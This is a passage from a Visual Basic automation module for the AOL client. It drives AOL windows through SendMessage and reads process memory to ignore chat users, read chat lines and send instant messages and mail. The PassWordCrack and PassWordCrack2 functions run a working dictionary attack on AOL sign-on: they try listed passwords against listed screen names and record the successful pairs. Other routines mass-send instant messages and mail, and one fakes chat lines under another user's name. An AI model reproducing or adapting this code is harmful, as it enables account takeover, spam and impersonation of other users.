  6049.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6050.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  6051.                         If GetIt% = 1 Then Exit Do
  6052.                         Loop
  6053.                     closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6054.                     Exit Sub
  6055.             End If
  6056. Next i
  6057. Call CloseHandle(AOLProcessThread)
  6058. End If
  6059. End Sub
  6060. Sub ChatIgnore2(InsName As String)
  6061. '   this method will look for a name matching the
  6062. 'one you specify, ex: if a person with name
  6063. 'user123 is in the room type 123 and itll ignore him
  6064. 'try not to put one or two characters only
  6065.  
  6066. On Error Resume Next
  6067.  
  6068. Dim AProc As Long
  6069. Dim Holdit As Long
  6070. Dim Person As String
  6071. Dim Holdthem As Long
  6072. Dim Howmnybts As Long
  6073. Dim Chil%, Rich%, lis%
  6074. aol% = FindWindow("AOL Frame25", vbNullString)
  6075. mdi% = FindChildByClass(aol%, "MDIClient")
  6076. Chil% = FindChat
  6077. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6078. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6079.  
  6080.  
  6081. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6082. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6083.  
  6084. If AOLProcessThread Then
  6085. For i = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6086. Person$ = String$(4, vbNullChar)
  6087. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(i), ByVal 0&)
  6088. Holdit = Holdit + 24
  6089. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6090.                         
  6091. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6092. Holdthem = Holdthem + 6
  6093.  
  6094. Person$ = String$(16, vbNullChar)
  6095. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6096.  
  6097. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6098. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6099. clickem = SendMessage(lis%, LB_SETCURSEL, i, 0&)
  6100. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6101.     Do: DoEvents
  6102.         TIT% = FindChildByTitle(mdi%, Person$)
  6103.             Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6104.         If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6105.     Loop
  6106.         
  6107.             Do: DoEvents
  6108.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  6109.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6110.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  6111.                         If GetIt% = 1 Then Exit Do
  6112.                         Loop
  6113.                     closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6114.                     Exit For
  6115.             End If
  6116. Next i
  6117. Call CloseHandle(AOLProcessThread)
  6118. Wait (0.3)
  6119. DoEvents
  6120. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6121. Call ErrorRsenD("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>" & Person$ & " ignored.</font>")
  6122. Else
  6123. TimeOut 0.7
  6124. Call ErrorRsenD("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>" & LCase(InsName) & " not found in chat</font>")
  6125. End If
  6126.   Edi% = FindChatEdit
  6127.   makesure = SendMessageByNum(Edi%, 13, 0, 0&)
  6128. End If
  6129. End Sub
  6130. Sub ChatUnIgnore3(InsName As String)
  6131. '   this method will look for a name matching the
  6132. 'one you specify, ex: if a person with name
  6133. 'user123 is in the room type 123 and itll Unignore him
  6134. 'try not to put one or two characters only
  6135.  
  6136. On Error Resume Next
  6137.  
  6138. Dim AProc As Long
  6139. Dim Holdit As Long
  6140. Dim Person As String
  6141. Dim Holdthem As Long
  6142. Dim Howmnybts As Long
  6143. Dim Chil%, Rich%, lis%
  6144. aol% = FindWindow("AOL Frame25", vbNullString)
  6145. mdi% = FindChildByClass(aol%, "MDIClient")
  6146. Chil% = FindChat
  6147. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6148. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6149.  
  6150.  
  6151. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6152. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6153.  
  6154. If AOLProcessThread Then
  6155. For i = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6156. Person$ = String$(4, vbNullChar)
  6157. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(i), ByVal 0&)
  6158. Holdit = Holdit + 24
  6159. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6160.                         
  6161. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6162. Holdthem = Holdthem + 6
  6163.  
  6164. Person$ = String$(16, vbNullChar)
  6165. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6166.  
  6167. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6168. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6169. clickem = SendMessage(lis%, LB_SETCURSEL, i, 0&)
  6170. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6171.     Do: DoEvents
  6172.         TIT% = FindChildByTitle(mdi%, Person$)
  6173.             Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6174.         If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6175.     Loop
  6176.         
  6177.             Do: DoEvents
  6178.                  clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  6179.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6180.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0&, 0&)
  6181.                         If GetIt% = 1 Then Exit Do
  6182.                         Loop
  6183.                     closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6184.                     Exit For
  6185.             End If
  6186. Next i
  6187. Call CloseHandle(AOLProcessThread)
  6188. Wait (0.3)
  6189. DoEvents
  6190. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6191. Call ErrorRsenD("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>" & Person$ & " unignored.</font>")
  6192. Else
  6193. TimeOut 0.7
  6194. Call ErrorRsenD("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>" & LCase(InsName) & " not found in chat</font>")
  6195. End If
  6196.   Edi% = FindChatEdit
  6197.   makesure = SendMessageByNum(Edi%, 13, 0, 0&)
  6198. End If
  6199. End Sub
  6200.  
  6201. Sub ChatUnIgnore(name As String)
  6202. On Error Resume Next
  6203.  
  6204. Dim AProc As Long
  6205. Dim Holdit As Long
  6206. Dim Person As String
  6207. Dim Holdthem As Long
  6208. Dim Howmnybts As Long
  6209. Dim Chil%, Rich%
  6210. aol% = FindWindow("AOL Frame25", vbNullString)
  6211. mdi% = FindChildByClass(aol%, "MDIClient")
  6212. Chil% = FindChat
  6213. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6214. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6215.  
  6216.  
  6217. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6218. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6219.  
  6220. If AOLProcessThread Then
  6221. For i = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6222. Person$ = String$(4, vbNullChar)
  6223. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(i), ByVal 0&)
  6224. Holdit = Holdit + 24
  6225. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6226.                         
  6227. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6228. Holdthem = Holdthem + 6
  6229.  
  6230. Person$ = String$(16, vbNullChar)
  6231. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6232.  
  6233. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6234. If LCase(Person$) = LCase(name) Then
  6235. clickem = SendMessage(lis%, LB_SETCURSEL, i, 0&)
  6236. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6237.         Do: DoEvents
  6238.             TIT% = FindChildByTitle(mdi%, Person$)
  6239.                 Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6240.             If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6241.         Loop
  6242.  
  6243.             Do: DoEvents
  6244.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  6245.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6246.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0&, 0&)
  6247.                         If GetIt% = 0 Then Exit Do
  6248.                         Loop
  6249.                         closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6250.                     Exit Sub
  6251.             End If
  6252.  
  6253.  
  6254. Next i
  6255. End If
  6256. End Sub
  6257.  
  6258. Function AOL30_LastChatLine()
  6259. aol% = FindWindow("AOL Frame25", vbNullString)
  6260. mdi% = FindChildByClass(aol%, "MDIClient")
  6261. Chil% = FindChildByClass(mdi%, "AOL Child")
  6262. View% = FindChildByClass(Chil%, "_AOL_View")
  6263. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6264. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  6265. If View% <> 0 And lis% <> 0 And Edi% <> 0 Then
  6266. SendNum = SendMessageByNum(View%, 14, 0&, 0&)
  6267. Trimit$ = Space$(SendNum)
  6268. last = SendMessageByString(View%, 13, SendNum + 1, Trimit$)
  6269.  
  6270. Richcntl$ = Trimit$
  6271. X$ = Richcntl$
  6272.  
  6273. For i = 1 To Len(X$)
  6274. one$ = Mid(X$, i, 1)
  6275. LastLine$ = LastLine$ & one$
  6276. If one$ = Chr(13) Then Let LastLine$ = ""
  6277. Next i
  6278.  
  6279. Final$ = Mid(LastLine$, 2, Len(LastLine$))
  6280. AOL30_LastChatLine = Final$
  6281.  
  6282. End If
  6283. End Function
  6284.  
  6285.  
  6286.  
  6287. Function ImAutoRespond(message As String)
  6288.  
  6289. 'put this in a timer
  6290. 'also it blocks the person that sent a mesage
  6291. On Error Resume Next
  6292. aol% = FindWindow("AOL Frame25", vbNullString)
  6293. mdi% = FindChildByClass(aol%, "MDIClient")
  6294. TIT% = FindChildByTitle(mdi%, ">Instant Message From:")
  6295. tit2% = FindChildByTitle(mdi%, " Instant Message From:")
  6296. If TIT% <> 0 Then
  6297. TName$ = SNfromIM
  6298. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6299. Call InstantMessage2(TName$, message, 0.5) 'gonna make it oen a new one
  6300. ElseIf tit2% <> 0 Then
  6301. TName$ = SNfromIM
  6302. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  6303. Call InstantMessage2(TName$, message, 0.5)
  6304. End If
  6305. End Function
  6306.  
  6307. Function IMUnIgnore(Who As String)
  6308.  
  6309. Call InstantMessage2("$im_on " & Who, Plug, 0.5)
  6310. Do: DoEvents
  6311. win% = FindWindow("#32770", vbNullString)
  6312. If win% <> 0 Then Exit Do
  6313. Loop
  6314. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  6315.     aol% = FindWindow("AOL Frame25", vbNullString)
  6316.     mdi% = FindChildByClass(aol%, "MDIClient")
  6317.     TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6318. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6319. Call ClearKeyWord
  6320.  
  6321. End Function
  6322. Function IMIgnore(Who As String)
  6323.  
  6324. Call InstantMessage2("$im_off " & Who, Plug, 0.5)
  6325. Do: DoEvents
  6326. win% = FindWindow("#32770", vbNullString)
  6327. If win% <> 0 Then Exit Do
  6328. Loop
  6329. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  6330.     aol% = FindWindow("AOL Frame25", vbNullString)
  6331.     mdi% = FindChildByClass(aol%, "MDIClient")
  6332.     TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6333. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6334. Call ClearKeyWord
  6335.  
  6336. End Function
  6337.  
  6338. Function massim(lis As ListBox, message As String)
  6339. aol% = FindWindow("AOL Frame25", vbNullString)
  6340. mdi% = FindChildByClass(aol%, "MDIClient")
  6341. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6342. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6343. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6344. For X = 0 To lis.ListCount
  6345. Call InstantMessage2(lis.List(X), message, 1)
  6346. Wait (0.5)
  6347. If TIT% <> 0 Then
  6348. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6349. End If
  6350. Wait (0.5)
  6351. Call ToImKill
  6352. Next X
  6353.  
  6354. End Function
  6355. Function MassIm2(lis As ListBox, message As String)
  6356. 'this version adds the "What up" and there
  6357. 'screen name
  6358. aol% = FindWindow("AOL Frame25", vbNullString)
  6359. mdi% = FindChildByClass(aol%, "MDIClient")
  6360. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6361. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6362. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6363. For X = 0 To lis.ListCount
  6364. Call InstantMessage2(lis.List(X), "What up " & lis.List(X) & " " & message, 1)
  6365. Wait (0.5)
  6366. If TIT% <> 0 Then
  6367. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6368. End If
  6369. Wait (0.5)
  6370. Call ToImKill
  6371. Next X
  6372.  
  6373. End Function
  6374.  
  6375.  
  6376. Function MassIm3(lis As ListBox, message As String)
  6377. 'this version adds the "What up" and there
  6378. 'screen name but takes #'s off the screen name
  6379. 'so instead of "What up John4516" itll say
  6380. '"What up John" ,told ya that would come in handy
  6381. aol% = FindWindow("AOL Frame25", vbNullString)
  6382. mdi% = FindChildByClass(aol%, "MDIClient")
  6383. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6384. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6385. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6386. For X = 0 To lis.ListCount
  6387. Trimmed$ = TrimNumbers(lis.List(X))
  6388. Call InstantMessage2(lis.List(X), "What up " & Trimmed$ & " " & message, 1)
  6389. Wait (0.5)
  6390. If TIT% <> 0 Then
  6391. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6392. End If
  6393. Wait (0.5)
  6394. Call ToImKill
  6395. Wait (0.5)
  6396. Next X
  6397.  
  6398. End Function
  6399. Function MassIm4(lis As ListBox, message As String)
  6400. 'same as 3 except adds % done on bottom
  6401. On Error Resume Next
  6402. aol% = FindWindow("AOL Frame25", vbNullString)
  6403. mdi% = FindChildByClass(aol%, "MDIClient")
  6404. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  6405. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6406. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6407.  
  6408. Dim perc As Integer
  6409. For X = 0 To lis.ListCount
  6410. Trimmed$ = TrimNumbers(lis.List(X))
  6411. i = 100 / lis.ListCount
  6412. perc = i * X
  6413. Call InstantMessage2(lis.List(X), "What up, " & Trimmed$ & " " & message & Chr(13) & Chr(9) & "        " & perc & "% Done", 1)
  6414. Wait (0.5)
  6415. If TIT% <> 0 Then
  6416. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6417. End If
  6418. Wait (0.5)
  6419. Call ToImKill
  6420. Next X
  6421.  
  6422. End Function
  6423.  
  6424. Function MassMail(lis As ListBox, Subj As String, message As String)
  6425. First$ = lis.List(0)
  6426. For X = 1 To lis.ListCount
  6427. names$ = names$ & lis.List(X) & ","
  6428. Next X
  6429. Call MyMailx(First$, names$, Subj, message)
  6430.  
  6431. End Function
  6432.  
  6433. Function PassWordCrack(namelist As ListBox, PWList As ListBox, Cracked As ListBox)
  6434. 'example: Call PassWordCrack(list1,list2,List3)
  6435. Dim ChkEven
  6436. Dim Times, Pass, name As Integer
  6437. If OnlineOrNot = True Then
  6438.     MsgBox ("Must be OffLine for this feature.")
  6439.         Exit Function
  6440.     End If
  6441.   ChkEven = (PWList.ListCount / 2) 'check to see if its even
  6442. If InStr(ChkEven, ".") <> 0 Then 'look for . in .5
  6443. PWList.AddItem "default" 'add item to make list even
  6444.   End If 'please leave this code, uneven listboxes will cause error
  6445. For name = 0 To namelist.ListCount - 1 'Take next name in list
  6446. For Pass = 0 To PWList.ListCount - 1 Step 2 'Take next Password from list
  6447.     
  6448. Do: DoEvents
  6449.     If OnlineOrNot = True Then
  6450. 'CRACKED!!!!!!!!!!!!!!!
  6451. Cracked.AddItem "sn=" & namelist.List(name) & " pw=" & PWList.List(Pass)
  6452. Call signoff
  6453.      End If
  6454. aol% = FindWindow("AOL Frame25", vbNullString)
  6455. mdi% = FindChildByClass(aol%, "MDIClient")
  6456. tit1% = FindChildByTitle(mdi%, "Sign On")
  6457. tit2% = FindChildByTitle(mdi%, "Goodbye from America Online!")
  6458.     If tit1% <> 0 Then
  6459.         TIT% = tit1%
  6460.     ElseIf tit2% <> 0 Then
  6461.         TIT% = tit2%
  6462.     End If
  6463.  
  6464. Combo% = FindChildByClass(TIT%, "_AOL_Combobox")
  6465. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6466. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6467. If Combo% <> 0 And Icona% <> 0 Then Exit Do
  6468. Loop
  6469. '''''''''''''''''''''''''''''''''''''''''''''''''
  6470. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6471. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6472. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6473. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6474.     If Edi% <> 0 Then
  6475. For i = 1 To 6
  6476. X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0)
  6477. X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0)
  6478. Wait (0.2)
  6479. Next i
  6480.     End If
  6481.    Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6482.         Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6483.             
  6484.             
  6485.             SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6486.             SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6487. '''''''''''''''''''''''''''''''''''''''''''''''''
  6488. Call WaitForModal
  6489. Wait (0.2)
  6490. Modal% = FindWindow("_AOL_Modal", vbNullString)
  6491. stat% = FindChildByClass(Modal%, "_AOL_Static")
  6492. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  6493. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  6494.     edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6495.         edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6496. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6497. MainName$ = namelist.List(name)
  6498. namelist.Selected(name) = True
  6499. CurrPassword$ = PWList.List(Pass)
  6500. PWList.Selected(Pass) = True
  6501. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6502. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password
  6503.  
  6504. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6505. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6506. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6507. Wait (1)
  6508. an% = FindWindow("#32770", vbNullString)
  6509. Wait (0.4)
  6510. If an% <> 0 Then
  6511. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6512. CurrPassword2$ = PWList.List(Val(Pass) + 1)
  6513. PWList.Selected(Val(Pass) + 1) = True
  6514. Wait (0.5)
  6515. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6516. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password
  6517. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6518. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6519. Wait (0.5)
  6520. If an% <> 0 Then
  6521. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6522. End If
  6523. End If
  6524. Wait (0.5)
  6525. Next Pass 'Take next password, hold same name
  6526. Next name 'Password list done, take next name
  6527.  
  6528. End Function
  6529. Function PassWordCrack2(namelist As ListBox, PWList As ListBox, Cracked As ListBox)
  6530. 'example: Call PassWordCrack2(list1,list2,List3)
  6531. Dim ChkEven
  6532. Dim Times, Pass, name As Integer
  6533. If OnlineOrNot = True Then
  6534.     MsgBox ("Must be OffLine for this feature.")
  6535.         Exit Function
  6536.     End If
  6537.    ChkEven = (PWList.ListCount / 2)
  6538. If InStr(ChkEven, ".") <> 0 Then
  6539. PWList.AddItem "default"
  6540.   End If
  6541.  
  6542. For name = 0 To namelist.ListCount - 1
  6543. For Pass = 0 To PWList.ListCount - 1 Step 2
  6544.     
  6545. Do: DoEvents
  6546.      If OnlineOrNot = True Then
  6547. 'CRACKED!!!!!!!!!!!!!!!
  6548. Cracked.AddItem "sn=" & namelist.List(name) & " pw=" & PWList.List(Pass)
  6549. Call signoff
  6550.      End If
  6551. aol% = FindWindow("AOL Frame25", vbNullString)
  6552. mdi% = FindChildByClass(aol%, "MDIClient")
  6553. tit1% = FindChildByTitle(mdi%, "Sign On")
  6554. tit2% = FindChildByTitle(mdi%, "Goodbye from America Online!")
  6555.     If tit1% <> 0 Then
  6556.         TIT% = tit1%
  6557.     ElseIf tit2% <> 0 Then
  6558.         TIT% = tit2%
  6559.     End If
  6560.  
  6561. Combo% = FindChildByClass(TIT%, "_AOL_Combobox")
  6562. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6563. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6564. If Combo% <> 0 And Icona% <> 0 Then Exit Do
  6565. Loop
  6566. '''''''''''''''''''''''''''''''''''''''''''''''''
  6567. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6568. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6569. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6570. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6571.     If Edi% <> 0 Then
  6572. For i = 1 To 6
  6573. X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0)
  6574. X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0)
  6575. Wait (0.2)
  6576. Next i
  6577.     End If
  6578.    Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6579.         Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6580.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6581.             
  6582.             SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6583.             SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6584. '''''''''''''''''''''''''''''''''''''''''''''''''
  6585. Call WaitForModal
  6586. Wait (0.2)
  6587. Modal% = FindWindow("_AOL_Modal", vbNullString)
  6588. stat% = FindChildByClass(Modal%, "_AOL_Static")
  6589. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  6590. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  6591.     edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6592.         edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6593. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6594. MainName$ = namelist.List(name)
  6595. namelist.Selected(name) = True
  6596. CurrPassword$ = PWList.List(Pass)
  6597. PWList.Selected(Pass) = True
  6598. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6599. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password
  6600.  
  6601. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6602. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6603. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6604. Wait (1)
  6605. an% = FindWindow("#32770", vbNullString)
  6606. Wait (0.4)
  6607. If an% <> 0 Then
  6608. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6609. CurrPassword2$ = PWList.List(Val(Pass) + 1)
  6610. PWList.Selected(Val(Pass) + 1) = True
  6611. Wait (0.5)
  6612. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6613. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password
  6614. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6615. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6616. Wait (0.5)
  6617. If an% <> 0 Then
  6618. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6619. End If
  6620. End If
  6621. Wait (0.5)
  6622. Next Pass 'Take next password, hold same name
  6623. Next name 'Password list done, take next name
  6624.  
  6625. End Function
  6626.  
  6627.  
  6628. Function Bot_Request()
  6629. 'use in a timer, in a button send to chat that
  6630. 'the bot is on and what your requesting
  6631. 'then turn the timer on ,ex. timer1.enabled = true
  6632.  
  6633. Dim Nam As String
  6634. Dim txt As String
  6635. Dim lst As String
  6636. Nam$ = LastLineSN
  6637. txt$ = LCase(LastLineText)
  6638. lst$ = List1
  6639. If txt$ = "/i got it" Then
  6640. Call ErrorRsenD("<font face=aria></b></i><Font Color=#FF0000>[<u>nam$ -can you send?</font>")
  6641. Wait (0.5)
  6642. End If
  6643.  
  6644. End Function
  6645.  
  6646.  
  6647. Function ChatManipulate(Who As String, Wat As String)
  6648. 'this manipulates to the top of the screen ;o(
  6649. 'yea i know but 4.0 wont let ya do it on the bottom
  6650. 'i tried hard ,,Very hard..
  6651. Dim Chil%, Rich%, X
  6652. Chil% = FindChat
  6653. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6654.  
  6655. X = SendMessageByString(Rich%, WM_SETTEXT, 0, Who & ":" & Chr(9) & Wat)
  6656.  
  6657. End Function
  6658.  
  6659.  
  6660. Function ChatRespond(LookFor As String, Response As String)
  6661. txt$ = LastLineText
  6662. Nam$ = LastLineSN
  6663. If InStr(LCase(txt$), LCase(LookFor)) Then
  6664. gotone$ = Nam$
  6665. If gotone$ = GetUserSn Then
  6666. Exit Function
  6667. End If
  6668. Call SendChat(gotone$ & "  " & Response)
  6669. Wait (0.5)
  6670. End If
  6671.  
  6672. End Function
  6673. Function ChatRespond2(LookFor As String, Response As String)
  6674. 'this one will respond even if its you
  6675. 'obviously with this one dont add the string
  6676. 'that your looking for in the response
  6677. 'ie. dont do this-- Call ChatRespond2("HI","HI MAN")
  6678. 'or else itll scroll
  6679. txt$ = LastLineText
  6680. Nam$ = LastLineSN
  6681. If InStr(LCase(txt$), LCase(LookFor)) Then
  6682. gotone$ = Nam$
  6683. Call ErrorRsenD(gotone$ & "  " & Response)
  6684. Wait (0.5)
  6685. End If
  6686.  
  6687. End Function
  6688.  
  6689. Function ClearKeyWord()
  6690. 'this is a function for me to clear the
  6691. 'keyword textbox after writing to it
  6692. aol% = FindWindow("AOL Frame25", vbNullString)
  6693. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6694. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6695. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  6696. Edi% = FindChildByClass(Comb%, "Edit")
  6697.  
  6698.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "")
  6699. End Function
  6700.  
  6701. Function InRoom() As Boolean
  6702. 'checks to see if there in a room
  6703. 'no loop, good for use on advertising
  6704. 'sometimes a program will freeze if there
  6705. 'not in a room an u tell it to advertise
  6706. Dim Chil%
  6707. Dim inRoomTF As Boolean
  6708. Chil% = FindChat
  6709. If Chil% <> 0 Then
  6710. inRoomTF = True
  6711. Else
  6712. inRoomTF = False
  6713. End If
  6714. InRoom = inRoomTF
  6715. End Function
  6716.  
  6717. Function AOL30_MailSend(Who, Subj, Wat)
  6718. aol% = FindWindow("AOL Frame25", vbNullString)
  6719.  
  6720. Call RunMenuByString(aol%, "&Compose Mail")
  6721.  
  6722. Do: DoEvents
  6723. mdi% = FindChildByClass(aol%, "MDIClient")
  6724. Titl% = FindChildByTitle(mdi%, "Compose Mail")
  6725. Icona% = FindChildByClass(Titl%, "_AOL_Icon")
  6726. Edi% = FindChildByClass(Titl%, "_AOL_Edit")
  6727. Rich% = FindChildByClass(Titl%, "RICHCNTL")
